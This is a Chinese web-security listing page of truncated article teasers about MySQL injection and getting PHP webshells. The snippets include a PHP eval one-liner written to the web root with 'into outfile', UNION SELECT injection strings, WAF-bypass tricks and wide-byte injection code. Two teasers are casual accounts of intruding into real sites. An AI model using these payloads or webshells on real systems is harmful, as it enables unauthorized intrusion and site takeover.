-
通过MySQL获取php webshell - 网站安全 - 自学php
在获得目标网站的MySQL权限之后，可进一步获取网站webshell，此方法前提①MySQL权限是root，②获取到了网站的绝对路径。获取数据库权限的方法，可以尝试sql注入（方法参见:www.2cto.com/A...
栏目：网站安全 点击：54 日期：2015-04-17 -
php+MySQL注入方法 - 网站安全 - 自学php
目前国内对php+MySQL注入关注的人很少。php的安全性本身就比ASP要好的多，加上MySQL 4.0一下的版本是不支持子语句的，而且当php.ini里的magic_quotes_gpc被设置为on时，提交的变量中所有的单引...
栏目：网站安全 点击：32 日期：2015-04-17 -
关于MySQL注入的几个语句 - 网站安全 - 自学php
0x1MySQL报错模式下的不使用information_schema来爆表基础知识：USING用于表连接时给定连接条件，Select*fromtable1jointable2ontable1.id=table2.id；使用using可以写为Select*fromtable1jointable2using(id)（......
栏目：网站安全 点击：36 日期：2015-04-17 -
phpmyadmin导出shell MySQL导出一句话 - 网站安全 - 自
如果得知数据库账号密码，可通过MySQL导出一句话到网站目录.导出shell代码是：select ?php @eval($_POST[#39;pass#39;]);? into outfile #39;C:/APMServ5.2.6/www/htdocs/123.php#39;;代码讲解：se......
栏目：网站安全 点击：118 日期：2015-04-17 -
深入escape_string for MySQL - 网站安全 - 自学php
这篇文档的内容是09年的，当时甚至还有用php4的，可能有部分过时，查看时请注意分辨。Author: wofeiwo#80sec.comDate: 2009-7-28一、背景 在日常的web程序编写过程中，经常需要处理字符集的问题...
栏目：网站安全 点击：26 日期：2015-04-17 -
thinkphp框架下MySQL注入 - 网站安全 - 自学php
Wamp环境，用thinkphp框架制作，手工检测发现一个注入点。/content/117 xand 1=2 union select @@datadir,2,3,4,5,6x这个注入点同时还是一个反射型xss，id值被写入到了内联js里。接着提交and 1=2 union ......
栏目：网站安全 点击：46 日期：2015-04-17 -
php中MySQL gbk宽字节编码 注入漏洞以及解决办法
php中MySQL数据库,如果是GBK编码.一定要小心GBK宽字节编码漏洞看代码 test.php文件require_once(lsquo;MySQL.phprsquo;);$newdb = new db();$user = $_GET[#39;user#39;];$t = SELECT * FROM use......
栏目：网站安全 点击：35 日期：2015-04-17 -
渗透测试一php+MySQL奇葩论坛 - 网站安全 - 自学p
今天在渗透一个站。我简单说下。php+MySQL。存在注入点。直接havij注入。看到个hl_admin的表。然后注入得到账号和密码密码一看32位的。赶紧去解啊。。解不出来。我擦。然后因为是mysq...
栏目：网站安全 点击：36 日期：2015-04-17 -
WAF绕过tips----MySQL - 网站安全 - 自学php
1、转换大小写1234567MySQLSeLECt1,2;+---+---+|1|2|+---+---+|1|2|+---+---+1rowinset(0.02sec)2、内联注释1234567MySQL/*!select*//**/1,2;+---+---+|1|2|+---+---+|1|2|+---+---+1rowinset(0.00sec)3、换行......
栏目：网站安全 点击：53 日期：2015-04-17 -
MySQL手工注入某日本网站 - 网站安全 - 自学php
作者：ice 团队：www anying org 转载必须注明。E-mail:1c30day@gmail com经过一天的辛苦劳动下班了，实在无聊，QQ上的基友基本都挂机睡觉了。找点乐子打发时间，看了一下2013年OWASP Top Ten Proj...
栏目：网站安全 点击：37 日期：2015-04-17
